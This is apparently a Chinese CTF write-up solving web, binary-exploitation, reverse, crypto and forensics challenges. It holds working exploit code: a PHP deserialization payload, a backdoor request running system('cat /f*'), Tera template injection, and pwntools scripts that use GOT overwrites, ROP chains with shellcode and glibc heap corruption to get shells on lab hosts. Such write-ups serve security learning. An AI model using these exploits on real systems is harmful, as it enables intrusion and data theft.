Web

web1

<?php
class Hacker{
    public $exp;
    public $cmd;
}

class A
{
    public $hacker;
}
class C
{
    public $finish;
    public function __get($value)
    {
        $this->finish->hacker();
        echo 'nonono';
    }
}
class E
{
    public $hacker;
}

class H
{
    public $username;
}

class K
{
    public $func;
}

class R
{
    public $method;
    public $args;
}
$a=new H();
$a ->username=new Hacker();
echo serialize($a);

image-20231104180937871

O:1:”H”:1:{s:8:”username”;O:6:”Hacker”:2:{s:3:”exp”;N;s:3:”cmd”;N;}}

直接打即可。

web2

题目提供了一个scandir函数来给我们搜索文件

image-20231104182033067

image-20231104182338869

源代码提示存在一个后门文件。

通过glob协议爆破后门文件。

import requests

list = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o',
        'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm']
url = "http://172.10.0.5/"

filename = ""
tmp = ""

for j in range(32):
    for i in list:
        tmp = filename
        tmp += i
        print(filename)
        payload = "glob://backdoor_" + tmp + "*.php"
        data = {
            "filename": payload
        }
        resp = requests.post(url, data=data)
        if "yesyesyes" in resp.text:
            filename = tmp
            break
        else:
            tmp = ""

image-20231104182701785

image-20231104182516320

数组绕过长度限制

http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=11&title[]=.php&data[]=<?php system("cat /f*");

image-20231104185848243

Tera

rust的tera模板,这里

{{

被过滤了,不能使用表达式进行注入。查看文档可以发现还能使用

{%%}

然后flag关键字也被过滤了,肯定有东西。

看到 __tera_context可以查看上下文信息,使用脚本测试一下

import requests

url = "http://172.10.0.3:8081/"


for i in range(32, 127):
    code = chr(i)
    data = "data={% set a = [__tera_context] %}{% for char in __tera_context %}{% if char == " + f"'{code}'" + " %}" + f" {code} " + "{%- else -%}0{%- endif -%}{% endfor %}"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    print(data)
    r = requests.post(url, data=data, headers=headers)

    print(r.text)

并没有发现数据,直接猜一波flag就在env里面,通过内置函数get_env可以获取。

image-20231104180238545

image-20231104180259583

image-20231104180248709

这里因为flag被过滤,使用内置过滤器reverse进行反转。然后通过测试器matching进行正则匹配。

image-20231104180709615

import string
import requests

url = "http://172.10.0.3:8081"

def getflag(re):
    payload = """data={% set q="galf"|reverse %}{% set u=get_env(name=q) %}
    {% if u is matching('z.*') %} 
    ok 
    {% endif %}""".replace("z", re)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    result = requests.post(url, data=payload, headers=headers).text
    if "ok" in result:
        return True
    return False

str = string.hexdigits + "-+"
flag = "fla[g]."
while True:
    for i in str:
        if getflag(flag + i):
            flag += i
            print(flag)
            break


获得flag,这里fla[g]也是为了bypass关键字。

image-20231104180106893

PWN

6502

一道 VM 题,其中主要关注 LDASTA 这两个访存指令,其中立即数寻址的偏移是 8 位无符号数,无法造成溢出,但是可以读写内存mem_ptr

__int64 __fastcall get_mem(unsigned __int16 a1)
{
  if ( DEBUG )
    fprintf(stderr, "(get_mem) reading at: 0x%X\n", a1);
  if ( a1 <= 0xFFu )
    return *(unsigned __int8 *)(mem_ptr + a1);
  if ( a1 <= 0x1FFu )
    return *(unsigned __int8 *)(mem_ptr + a1 - 256 + 256);
  if ( a1 > 0xFFF9u )
    return *(unsigned __int8 *)(mem_ptr + a1 - 65018 + 512);
  if ( DEBUG )
    fprintf(stderr, "(get_mem) parsed: 0x%X\n", (unsigned int)a1 - 512);
  return *(unsigned __int8 *)(mem_ptr + (__int16)(a1 - 512) + 518);
}

__int64 __fastcall write_mem(unsigned __int16 a1, char a2)
{
  if ( a1 > 0xFFu )
  {
    if ( a1 > 0x1FFu )
    {
      if ( a1 <= 0xFFF9u )
        *(_BYTE *)(mem_ptr + (__int16)(a1 - 512) + 518) = a2;
      else
        *(_BYTE *)(mem_ptr + a1 - 65018 + 512) = a2;
    }
    else
    {
      *(_BYTE *)(mem_ptr + a1 - 256 + 256) = a2;
    }
  }
  else
  {
    *(_BYTE *)(mem_ptr + a1) = a2;
  }
  return 0LL;
}

LDASTA 这两个访存指令,都有间接寻址的模式(函数IZX实现),间接寻址模式的偏移是从内存中获得,偏移可以是16位的有符号数,因此可以是负数,导致内存向上溢出。

__int64 IZX()
{
  char v1; // [rsp+Ah] [rbp-6h]
  __int16 v2; // [rsp+Ch] [rbp-4h]

  v1 = cpu_fetch(cpu);
  v2 = (unsigned __int8)cpu_fetch((unsigned __int8)(byte_21C124 + v1));
  addr_abs = ((unsigned __int8)cpu_fetch((unsigned __int8)(byte_21C124 + v1 + 1)) << 8) | v2;
  return 0LL;
}

因此可以用间接寻址的模式读取 puts.got 的值,并用 ADC 指令对 puts.gotputs 函数的值进行偏移计算,使其偏移到 system 函数,再用间接寻址的模式写回到 puts.got 中。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('172.10.0.7', 10002)

payload = b''

payload += p8(162) + p8(0xf2) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(162) + p8(0xde) # LDX
payload += p8(134) + p8(1) # STX
payload += p8(162) + p8(0) # LDX
payload += p8(161) + p8(0) # LDA

payload += p8(162) + p8(0xb0) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(101) + p8(0) # ADC

payload += p8(162) + p8(0xf2) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(162) + p8(0xde) # LDX
payload += p8(134) + p8(1) # STX
payload += p8(162) + p8(0) # LDX
payload += p8(129) + p8(0) # STA


payload += p8(162) + p8(0xf3) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(162) + p8(0xde) # LDX
payload += p8(134) + p8(1) # STX
payload += p8(162) + p8(0) # LDX
payload += p8(161) + p8(0) # LDA

payload += p8(162) + p8(0xea) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(101) + p8(0) # ADC

payload += p8(162) + p8(0xf3) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(162) + p8(0xde) # LDX
payload += p8(134) + p8(1) # STX
payload += p8(162) + p8(0) # LDX
payload += p8(129) + p8(0) # STA


payload += p8(162) + p8(0xf4) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(162) + p8(0xde) # LDX
payload += p8(134) + p8(1) # STX
payload += p8(162) + p8(0) # LDX
payload += p8(161) + p8(0) # LDA

payload += p8(162) + p8(0xfc) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(101) + p8(0) # ADC

payload += p8(162) + p8(0xf4) # LDX
payload += p8(134) + p8(0) # STX
payload += p8(162) + p8(0xde) # LDX
payload += p8(134) + p8(1) # STX
payload += p8(162) + p8(0) # LDX
payload += p8(129) + p8(0) # STA

sh.recvuntil(b'length: \n')

sh.sendline(str(len(payload)).encode())
sh.sendafter(b'code: ', payload)
sh.send(b'/bin/sh\0')

sh.interactive()

silent

没有泄漏的栈溢出题。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[64]; // [rsp+10h] [rbp-40h] BYREF

  init_seccomp(argc, argv, envp);
  alarm(0x1Eu);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  read(0, buf, 0x100uLL);
  return 0;
}

为了不让出题人折磨我,所以我决定折磨服务器,直接爆破 write 函数。成功率大约是 1/4096

首先栈迁移后重新执行 _start,这样 bss 段上就留下了 libc 地址,用这个 libc 地址爆破 write 函数。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('172.10.0.8', 9999)

sh.send((cyclic(64) + flat([0x603000-0x100, 0x0000000000400963, 0, 0x0000000000400961, 0x603000-0x100, 0, 0x400700, 0x0000000000400876])).ljust(0x100, b'\0'))
sh.send(flat([0, 0x400720]).ljust(0x100, b'\0'))
sh.send((cyclic(64) + flat([0, 0x0000000000400963, 0, 0x0000000000400961, 0x601000+0x1288, 0, 0x400700,
                                0x0000000000400963, 0, 0x0000000000400961, 0x601000+0x1288+8, 0, 0x400700, 
                                0x0000000000400963, 1, 0x0000000000400961, 0x600FE0, 0,0x000000000040095d, 0x601000+0x1288-0x18])).ljust(0x100, b'\0'))
addr = randint(0, 0xfff) * 0x1000 + 0x0f0
sh.send(p32(addr)[:3])
time.sleep(1)
sh.send(flat([0x400878]).ljust(0x100, b'\0'))
libc_addr = u64(sh.recvn(8)) - 0x110020
success('libc_addr: ' + hex(libc_addr))
shellcode = asm(
'''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
'''
)
sh.send((cyclic(64) + flat(
[
    0x603000-0x100, 
    libc_addr + 0x000000000002164f, 0x601000, 
    libc_addr + 0x0000000000023a6a, 0x2000, 
    libc_addr + 0x0000000000001b96, 7,
    libc_addr + 0x11b7e0,
    libc_addr + 0x0000000000002b25
]) + shellcode).ljust(0x100, b'\0'))

sh.interactive()

babyheap

一道传统的heap题。

readn 会导致off-by-one漏洞。

__int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]

  puts("input index");
  v1 = get_int();
  if ( v1 < 0x11 )
  {
    puts("input your name size");
    v2 = get_int();
    if ( qword_4060[v1] && v2 <= ptr_size[v1] && v2 >= 0 )
    {
      puts("input your name");
      readn(qword_4060[v1], v2);                // off-by-one
    }
    return 0LL;
  }
  else
  {
    puts("invalid index");
    return 0LL;
  }
}

并且程序直接给了我们heap地址,还贴心的留了一点可以申请到 tcache 的size(0x408),这样就可以直接使用 tcache 来完成劫持目的,显然出题人并不想折磨我们。

unsigned __int64 menu()
{
  void *ptr; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to the 4everdestiny@Lancet lab");
  puts("This is the babyheap for glibc 2.38");
  puts("i don't want to make a seccomp function");
  puts("and this line will make the game easier");
  ptr = malloc(0x10uLL);
  printf("%p\n", ptr);
  free(ptr);
  return v2 - __readfsqword(0x28u);
}

__int64 add()
{
  int i; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]

  for ( i = 0; i <= 15 && qword_4060[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("list full\n");
    return 0LL;
  }
  else
  {
    puts("input your name size");
    v2 = get_int();
    if ( v2 > 0x3FF && v2 <= 0x500 )
    {
      qword_4060[i] = malloc(v2);
      ptr_size[i] = v2;
      puts("input your name");
      readn(qword_4060[i], (unsigned int)v2);
      return 0LL;
    }
    else
    {
      puts("invalid size");
      return 0LL;
    }
  }
}

那么大致的利用思路如下:

  1. 构造 chunk overlap
  2. 泄漏 libc 地址
  3. 利用 tcache 劫持 stdout
  4. 利用 stdout 泄漏 栈地址
  5. 栈劫持
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('172.10.0.7', 10001)

def add(size, name):
    sh.sendlineafter(b'>> \n', b'1')
    sh.sendlineafter(b'size\n', str(size).encode())
    sh.sendafter(b'name\n', name)

def edit(index, size, name):
    sh.sendlineafter(b'>> \n', b'2')
    sh.sendlineafter(b'index\n', str(index).encode())
    sh.sendlineafter(b'size\n', str(size).encode())
    sh.sendafter(b'name\n', name)

def show(index):
    sh.sendlineafter(b'>> \n', b'3')
    sh.sendlineafter(b'index\n', str(index).encode())

def delete(index):
    sh.sendlineafter(b'>> \n', b'4')
    sh.sendlineafter(b'index\n', str(index).encode())

sh.recvuntil(b'easier\n')
heap_addr = int(sh.recvline(), 16) - 0x2a0
success('heap_addr: ' + hex(heap_addr))

add(0x408, b'\n')
add(0x4f8, b'\n')
edit(0, 0x408, flat({0:heap_addr + 0x2b0, 8:heap_addr + 0x2b0, 0x400:0x410}, filler=b'\0'))
add(0x4f8, b'\n')
delete(1)
add(0x418, b'\n')
add(0x4e8, b'\n')
delete(1)
add(0x500, b'\n')
show(0)
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ff0f0
success('libc_addr: ' + hex(libc_addr))
delete(3)
add(0x408, b'\n')
add(0x408, b'\n')
delete(4)
delete(3)
edit(0, 0x10, p64(((heap_addr + 0x2c0)>>0xc) ^ (libc_addr + 0x1ff7a0)) + b'\n')
add(0x408, b'\n')
add(0x408, flat([0x00000000fbad3887, 0, 0, 0, libc_addr + 0x206258, libc_addr + 0x206258 + 8, libc_addr + 0x206258 + 8, libc_addr + 0x206258 + 8]) + b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))
add(0x408, b'\n')
delete(5)
delete(3)
edit(0, 0x10, p64(((heap_addr + 0x2c0)>>0xc) ^ (stack_addr - 0x128)) + b'\n')
add(0x408, b'\n')
add(0x408, flat([0, libc_addr + 0x0000000000026a3e, libc_addr + 0x0000000000028715, libc_addr + 0x1c041b, libc_addr + 0x55230]) + b'\n')
sh.sendlineafter(b'>> \n', b'5')

sh.interactive()

Auto_Coffee_machine

admin 功能中的 change_default 存在负向溢出

unsigned __int64 change_default()
{
  int v1; // [rsp+Ch] [rbp-14h]
  int v2; // [rsp+10h] [rbp-10h]
  char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  show_list();
  puts("input the id you want to change");
  printf(">>>");
  read(0, buf, 4uLL);
  v1 = atol(buf) - 1;
  if ( v1 >= 0 && v1 <= 2 )
  {
    puts("input which coffee you want to change");
    printf(">>>");
    read(0, buf, 4uLL);
    v2 = atol(buf) - 1;
    if ( v2 >= 0 && v2 <= 4 || *((_QWORD *)&copy_left_coffee + 7 * v1 + v2) )
    {
      puts("input your content");
      read(0, *((void **)&copy_left_coffee + 7 * v1 + v2), 0x80uLL);
      puts("done");
      update(2LL);
    }
    else
    {
      puts("invalid coffee");
    }
  }
  else
  {
    puts("invalid id");
  }
  return __readfsqword(0x28u) ^ v4;
}

打 stdout 泄露信息后改 got 表

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('120.46.65.156', 32104)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def buy(idx, data = b'a'*8):
    sla(b'>>>', b'1')
    sla(b'buy', str(idx))
    sla(b'N', b'y')
    sa(b'coffee', data)
def show():
    sla(b'>>>', b'2')
    
def re(idx):
    sla(b'>>>', str(4421))
    sa(b'password', p64(0x6e7770207473756a) + p64(0x746920))
    sla(b'>>>', b'1')
    sla(b'sh', str(idx))
    sla(b'>>>', b'3')
def ed(idx, of, data):
    sla(b'>>>', str(4421))
    sa(b'password', p64(0x6e7770207473756a) + p64(0x746920))
    sla(b'>>>', b'2')
    sa(b'>>>', str(idx + 1))
    sa(b'>>>', str(of + 1))
    sa(b'content', data)
    sla(b'>>>', b'3')
    
def ed_(idx, of, data):
    sla(b'>>>', str(4421))
    sa(b'password', p64(0x6e7770207473756a) + p64(0x746920))
    sla(b'>>>', b'2')
    sla(b'>>>', str(idx + 1))
    sla(b'>>>', str(of + 1))
    sa(b'content', data)


buy(1)
buy(1)
pl = p64(0x00000000fbad1800) + p64(0)*3 + p8(0x0)
ed_(0, -0x20, pl)
libc_base = l64() - 0x1ec980
sla(b'>>>', b'3')

free_hook = libc_base + libc.sym['__free_hook']
system, binsh = get_sb()

#debug('b *0x401905')
#debug('b *0x401ce9\nb *0x401905')

#buy(2)
pl = p64(0x00000000405e20) + p64(libc_base + 0x223190) + p64(libc_base + 0x20cbc0)
pl += p64(system)
ed(1, -0xa0, pl)

buy(3, b'/bin/sh\x00')

inter()
lg('libc_base', libc_base)

#debug()
pause()

Re

安全编程

rust写的猜数字游戏,猜对了100次就可以解密,我们可以直接修改程序执行流程到解密位置

我们将其简单的修改一下执行,之后我们便可以拿到flag

Bad PE

本质上就是一个节区的解密,通过异或来释放另一个可执行程序

image-20231104161752684

我们DUMP下来ATOM节区异或处理可以看到明显的MZ开头的PE信息

image-20231104161837342

之后保存,对其进行逆向处理即可:

其没去符号,可以明显的看到是个RC4加密,对应的Key简单找找就可以发现是th3k3y!

Crypto

SecretShare

  • 预测、回溯恢复数据
  • 方程求解P
  • rsa解密得flag
# https://github.com/NonupleBroken/ExtendMT19937Predictor
"""
random
uniform
"""
import random
from extend_mt19937_predictor import ExtendMT19937Predictor

with open('./output.txt', 'r') as f:
    data = f.readlines()
X = []
R = []
leak = 158171468736013100218170873274656605219228738469715092751861925345310881653082508445746109167302799236685145510095499361526242392251594397820661050281094210672424887670015189702781308615421102937559185479455827148241690888934661637911906309379701856488858180027365752169466863585611322838180758159364570481257
p = 667548632459029899397299221540978856425474915828934339291333387574324630349258515018972045406265448494845331262999241448002076917383740651362641947814545076390796789402373579283727117618532504865966299599663825771187433223531022829811594806917984414530614469374596457149431218829297339079019894262229453357029
c = 9658009093151541277762773618550582280013680172161026781649630205505443184765264518709081169475689440555639354980432557616120809346519461077355134139495745998317849357705381020225760061125236265304057301286196004542729553944161451832173970613915423841610378207266606500956362098150141825329354727367056070349148059780287916811442861961254066733726576151134458892613951223277692935141880749737598416235307087782001086096114978527447987308876878393763055893556123029990282534497668077854186604106027698257663251502775547705641708624619340185646943640576690633662704397191379303254341343433077302686466850600522990402912
N = 11790604055677230214731474049594783873473779547159534481643303694816346271798870343160061559787963631020684982858033776446193418629055210874285696446209220404060653230407249409973790191858423402504530660556839353260629987853933304089439885784684686555554108157760445567974629355878575105480273451284714281430590737346099023372211403461861104391534461524711472734572409128196536805998116015230502045333769525693468193385557827209520108839913096017750428926467123493650506193757937746017474062985480713594474378324234033232933140389879312722642144536418253323908290256009510135710208223393009237664704631175216240376891

for i in range(len(data)):
    tmp = data[i].split(' ')
    X.append(int(tmp[0]))
    R.append(int(tmp[1]))
R.append(leak)

# 恢复X[-1]
predictor = ExtendMT19937Predictor()
for i in X:
    predictor.setrandbits(i, 1024)
X.append(predictor.predict_getrandbits(1024))

# 恢复A[1:]
A = []
predictor = ExtendMT19937Predictor()
for i in X:
    predictor.setrandbits(i, 1024)
_ = [predictor.backtrack_getrandbits(1024) for _ in range(len(X))]  # 回溯到起始状态
for i in range(20):
    A.append(predictor.backtrack_getrandbits(1024))
A = A[::-1]
print(f"{A=}")
print(f"{X=}")
print(f"{R=}")
A=
X=
R=
leak = 158171468736013100218170873274656605219228738469715092751861925345310881653082508445746109167302799236685145510095499361526242392251594397820661050281094210672424887670015189702781308615421102937559185479455827148241690888934661637911906309379701856488858180027365752169466863585611322838180758159364570481257
p = 667548632459029899397299221540978856425474915828934339291333387574324630349258515018972045406265448494845331262999241448002076917383740651362641947814545076390796789402373579283727117618532504865966299599663825771187433223531022829811594806917984414530614469374596457149431218829297339079019894262229453357029   
c = 9658009093151541277762773618550582280013680172161026781649630205505443184765264518709081169475689440555639354980432557616120809346519461077355134139495745998317849357705381020225760061125236265304057301286196004542729553944161451832173970613915423841610378207266606500956362098150141825329354727367056070349148059780287916811442861961254066733726576151134458892613951223277692935141880749737598416235307087782001086096114978527447987308876878393763055893556123029990282534497668077854186604106027698257663251502775547705641708624619340185646943640576690633662704397191379303254341343433077302686466850600522990402912
N = 11790604055677230214731474049594783873473779547159534481643303694816346271798870343160061559787963631020684982858033776446193418629055210874285696446209220404060653230407249409973790191858423402504530660556839353260629987853933304089439885784684686555554108157760445567974629355878575105480273451284714281430590737346099023372211403461861104391534461524711472734572409128196536805998116015230502045333769525693468193385557827209520108839913096017750428926467123493650506193757937746017474062985480713594474378324234033232933140389879312722642144536418253323908290256009510135710208223393009237664704631175216240376891
PR.<x> = PolynomialRing(Zmod(p))
A = [x] +A

def F(x):
    res = 0
    tmp = 1
    for i in range(21):
        res = (res + tmp * A[i])
        tmp = tmp * x
    return res

f = F(X[0])-R[0]
f.roots()
from Crypto.Util.number import *
P = 92422003757477651157474383100036998824887848419954840007147868223910074931859933956269885856128093345487882260496791272977844862352094356168399257688148495739541010758727078419554501190171624312463235528402998918943680454965800744650511720557056811235552334860437375771202122918781073950952368367594976459763
c = 9658009093151541277762773618550582280013680172161026781649630205505443184765264518709081169475689440555639354980432557616120809346519461077355134139495745998317849357705381020225760061125236265304057301286196004542729553944161451832173970613915423841610378207266606500956362098150141825329354727367056070349148059780287916811442861961254066733726576151134458892613951223277692935141880749737598416235307087782001086096114978527447987308876878393763055893556123029990282534497668077854186604106027698257663251502775547705641708624619340185646943640576690633662704397191379303254341343433077302686466850600522990402912
N = 11790604055677230214731474049594783873473779547159534481643303694816346271798870343160061559787963631020684982858033776446193418629055210874285696446209220404060653230407249409973790191858423402504530660556839353260629987853933304089439885784684686555554108157760445567974629355878575105480273451284714281430590737346099023372211403461861104391534461524711472734572409128196536805998116015230502045333769525693468193385557827209520108839913096017750428926467123493650506193757937746017474062985480713594474378324234033232933140389879312722642144536418253323908290256009510135710208223393009237664704631175216240376891
e = 65537
print(long_to_bytes(int(pow(c, inverse(e, P-1), P))))  # flag{2f43430b-3c31-03ee-0a92-5b24826c015c}

Neltharion and Arthas

flag1

  1. 根据性质,异或得到部分gift1

  2. 猜测、搜索并补全gift1

from Crypto.Util.strxor import strxor

enc_gift1 = 'bad7dbcff968d7cdbf51da011fe94e176fc8e7528e4dd85d2d5fc20ba69cefb7bfd03152a2874705bd2d857ea75b3216a830215db74772d9b9e9c218271d562694d3642d2917972fdb8c7363d8125730a50824cd8dc7e34cd4fa54be427cca'
enc_flag = 'c1c78891e30cd4c0aa5ed65c17e8550429c4e640881f9f1d6a56df'


enc_gift1 = bytes.fromhex(enc_gift1)
enc_flag = bytes.fromhex(enc_flag)

LEN = 1
enc_gift1 = [enc_gift1[LEN * i:LEN * (i + 1)] for i in range(len(enc_gift1) // LEN)]
enc_flag = [enc_flag[LEN * i:LEN * (i + 1)] for i in range(len(enc_flag) // LEN)]

tmp = [strxor(enc_gift1[i], enc_flag[i]) for i in range(len(enc_flag))]
tmp = b''.join(tmp)

gift1 = b'I am Deathwing, the Destroyer, the end of all things!'  # Google
print(gift1[:len(tmp)])
print(gift1[:len(tmp)])
flag1 = strxor(tmp, gift1[:len(tmp)])
print(flag1) 
# b'2023: flag{4ff732dd2B7445fd'
# b'2023: flag{4ff732dd2b7445fd'

flag2

  1. 爆破四位key2
  2. AES 回推 IV
import hashlib, binascii
from Crypto.Cipher import AES
import itertools
from tqdm import tqdm
from Crypto.Util.strxor import strxor
key2 = list(b'tn*-ix6L*tCa*}i*')
# print(key2)
import string
TTMP = ''
for i in itertools.product(string.printable[:-6], repeat=4):
    i = [ord(_) for _ in list(i)]
    tmp_key2 = key2
    tmp_key2[2] = i[0]
    tmp_key2[8] = i[1]
    tmp_key2[12] = i[2]
    tmp_key2[15] = i[3]
    tmp_key2 = bytes(tmp_key2)
    if TTMP != i[0]:
        TTMP = i[0]
        print(TTMP)


    h = binascii.unhexlify(hashlib.sha256(tmp_key2).hexdigest())[:11]
    gift2 = b'I tell you this, for when my days have come to an end , you, shall be King.' + h
    LEN = len(tmp_key2)
    padding = bytes((LEN - len(gift2) % LEN) * '&', encoding='utf-8')
    gift2 += padding
    gift2 = [gift2[LEN * i:LEN * (i + 1)] for i in range(len(gift2) // LEN)]
    # print(gift2)

    enc_gift2 = 'fee046b4d2918096cfa3b76d6622914395c7e28eef'

    enc_gift2 = bytes.fromhex(enc_gift2)[-16:]
    cipher = AES.new(tmp_key2, AES.MODE_ECB)
    C = enc_gift2
    for i in range(6):
        tmp = cipher.decrypt(C)
        C = strxor(tmp, gift2[5 - i])
    flag2 = C
    try:
        flag2 = flag2.decode()
        if all([__ in string.hexdigits for __ in flag2[3:5]]):
            print(flag2)
    except:
        continue

a3eae82b4c491e0e,最后UUID格式拼接得到flag

Misc

流量深处

流量翻了一下udp数据流,发现zip特征,12346接受的是正向的16进制数据,12345是反向的16进制数据

写脚本

from scapy.all import *

def extract_udp_data(pcap_file, output_file):
    udp_data = []
    packets = rdpcap(pcap_file)

    for packet in packets:
        if UDP in packet:
            udp_payload = packet[UDP].payload
            timestamp = packet.time
            udp_data.append((timestamp, bytes(udp_payload), packet[UDP].dport))

    # Sort the data by timestamp
    udp_data.sort(key=lambda x: x[0])

    with open(output_file, 'wb') as file:
        for timestamp, data, port in udp_data:
            if port == 12345:
                # Reverse the data for port 12345
                data = data[::-1]
            file.write(data)

if __name__ == "__main__":
    pcap_file = "secret.pcapng"
    output_file = "aaa_combined_data"

    extract_udp_data(pcap_file, output_file)
    print(f"UDP data extracted from {pcap_file} and saved to {output_file}")

提取出zip解压里面是个wav,deepsound解密,

image-20231104184129064

得到一个鼠标的txt

img

from PIL import Image, ImageDraw
import re

# 数据字符串
data = """
txt直接粘贴过来就行,太大了,腾讯文档粘贴不过来
"""

# 使用正则表达式解析数据点
pattern = r"Mouse : (\d+) : (\d+) : Move : 0 : 0 : 0"
matches = re.findall(pattern, data)

# 提取坐标数据
points = [(int(match[0]), int(match[1])) for match in matches]

# 计算图像尺寸
max_x = max(points, key=lambda p: p[0])[0]
max_y = max(points, key=lambda p: p[1])[1]

# 增大图像尺寸
image_width = max_x + 50  # 增加 50 像素的宽度
image_height = max_y + 50  # 增加 50 像素的高度

# 创建图像
image = Image.new("RGB", (image_width, image_height), "white")
draw = ImageDraw.Draw(image)

# 缩放因子,可以根据需要调整
scaling_factor = 0.5  # 缩放因子

# 缩放坐标数据
scaled_points = [(int(p[0] * scaling_factor), int(p[1] * scaling_factor)) for p in points]

# 绘制路径
draw.line(scaled_points, fill="blue", width=1)

# 保存图像
image.show()
image.save("path.png")

# 显示


拿到flag

img